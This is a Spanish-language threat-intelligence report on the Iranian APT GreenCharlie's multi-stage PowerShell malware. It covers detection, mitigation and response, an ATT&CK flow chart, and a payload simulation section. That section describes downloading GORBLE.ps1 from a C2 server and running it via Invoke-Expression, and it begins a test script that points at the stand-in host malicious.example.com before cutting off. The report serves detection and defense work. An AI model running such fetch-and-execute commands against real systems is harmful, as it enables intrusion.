SOC Prime Bias: Crítico

12 Nov 2025 17:00

GreenCharlie: El Informe SOC sobre Explotaciones de PowerShell por APT Respaldado por Irán

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
GreenCharlie: El Informe SOC sobre Explotaciones de PowerShell por APT Respaldado por Irán
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen del Exploit de PowerShell de GreenCharlie

GreenCharlie es un grupo APT basado en Irán que lleva a cabo ciberespionaje utilizando una familia de malware PowerShell de múltiples etapas (GORBLE, TAMECAT, POWERSTAR). El grupo registra muchos dominios DNS dinámicos para phishing, utiliza scripts de PowerShell ofuscados con codificación Base64 y bit a bit personalizada, y se comunica con servidores C2 a través de HTTPS POST. La actividad aumentó en mayo-agosto de 2024 con IP iraníes y servicios VPN enmascarando el tráfico.

Investigación

Analice el tráfico de red en busca de conexiones a dominios DDNS conocidos y rangos de IP asociados con el grupo (por ejemplo, *.ddnsgeek.com, *.dns-dynamic.net). Busque cadenas de ejecución de PowerShell que realicen decodificación Base64 seguidas de operaciones NOT bit a bit, y scripts que invoquen ScriptBlock.Create o Invoke‑Expression. Monitoree la inyección de procesos y la ejecución en memoria de cargas útiles descifradas. Correlacione alertas con las técnicas ATT&CK T1583.001, T1566.002, T1059.001, T1568.

Mitigación

Implemente un registro estricto de PowerShell (ModuleLogging, ScriptBlockLogging) y haga cumplir el modo de lenguaje restringido. Bloquee o canalice el tráfico hacia proveedores DDNS conocidos y TLD sospechosos (.info, .xyz, .icu, .network, .online, .site). Despliegue DNS sandboxing y filtrado de URL para dominios de phishing. Utilice soluciones de detección y respuesta en el endpoint (EDR) para detectar scripts PowerShell ofuscados y desciframiento AES en memoria. Refuerce el principio de privilegio mínimo para cuentas de servicio y desactive herramientas de ejecución remota innecesarias.

Respuesta a la Amenaza de GreenCharlie

Cuando se detecta un indicador, aísle el host afectado, capture la memoria volátil y recoja registros de PowerShell. Realice un análisis forense para extraer la carga útil decodificada e identificar servidores C2. Revoque credenciales comprometidas, rote secretos y elimine tareas programadas relacionadas o mecanismos de persistencia. Realice intercambio de inteligencia sobre amenazas de IOCs (dominios, IPs, valores hash) con ISACs relevantes y actualice las reglas de detección en consecuencia.

graph TB %% Class Definitions classDef technique fill:#ffcc99 classDef action fill:#99ccff classDef process fill:#ccffcc classDef data fill:#f0e68c %% Nodes start[«<b>Inicio</b>: Disparador de ejecución inicial»] class start action tech_execution[«<b>Técnica</b> – T1059.001<br/><b>PowerShell</b>: Ejecutar script para descargar payload»] class tech_execution technique process_download[«<b>Proceso</b>: Descargar payload de segunda etapa»] class process_download process tech_obf1[«<b>Técnica</b> – T1027.008<br/>Payloads despojados (Base64 + NOT)»] class tech_obf1 technique tech_obf2[«<b>Técnica</b> – T1027.014<br/>Código polimórfico (codificación variante)»] class tech_obf2 technique tech_decode[«<b>Técnica</b> – T1140<br/>Decodificar/Desofuscar payload»] class tech_decode technique tech_dns[«<b>Técnica</b> – T1071.004<br/>Protocolo de Aplicación DNS»] class tech_dns technique tech_dga[«<b>Técnica</b> – T1568.002<br/>Algoritmo de Generación de Dominios»] class tech_dga technique tech_web[«<b>Técnica</b> – T1102.002<br/>Servicio Web HTTPS Bidireccional»] class tech_web technique tech_encrypt[«<b>Técnica</b> – T1573<br/>Canal cifrado AES»] class tech_encrypt technique data_exfil[«<b>Datos</b>: Información del sistema (SO, nombre del equipo)»] class data_exfil data tech_exfil[«<b>Técnica</b> – T1041<br/>Exfiltración sobre canal C2»] class tech_exfil technique %% Connections start u002du002d>|dispara| tech_execution tech_execution u002du002d>|descarga| process_download process_download u002du002d>|ofusca con| tech_obf1 process_download u002du002d>|aplica| tech_obf2 process_download u002du002d>|decodificado por| tech_decode tech_decode u002du002d>|se comunica vía| tech_dns tech_dns u002du002d>|usa| tech_dga tech_dns u002du002d>|se comunica vía| tech_web tech_web u002du002d>|cifra tráfico con| tech_encrypt tech_encrypt u002du002d>|transporta| data_exfil data_exfil u002du002d>|enviado vía| tech_exfil

Flujo de Ataque

Instrucciones para Simulación de Carga Útil

  • Narrativa de Ataque y Comandos:

    Fase 1 – Recuperar el cargador malicioso:
    El atacante usa Invoke-WebRequest para descargar un script de PowerShell llamado GORBLE.ps1 desde un servidor C2.Fase 2 – Codificar la carga útil:
    El script descargado contiene la carga útil maliciosa. El atacante codifica todo el script en base64 y lo almacena en una variable $x.Fase 3 – Ejecutar a través de cmdlet de alto riesgo:
    Usando Invoke-Expression, el atacante decodifica $x sobre la marcha y lo ejecuta, invocando así el marco GORBLE.Fase 4 – Movimiento lateral (opcional):
    La carga útil puede posteriormente llamar ScriptBlock.Create con una cadena ofuscada bit a bit para lanzar un comando de PowerShell de segunda etapa en un host remoto.
  • Script de Prueba de Regresión:

    # -------------------------------------------------
    # Simulación del Marco de PowerShell de GreenCharlie APT
    # -------------------------------------------------
    
    # 1. Simular descarga del marco malicioso (palabra clave GORBLE)
    $maliciousUrl = "http://malicious.example.com/GORBLE.ps1"
    $downloaded = @"
    # GORBLE - carga útil maliciosa simulada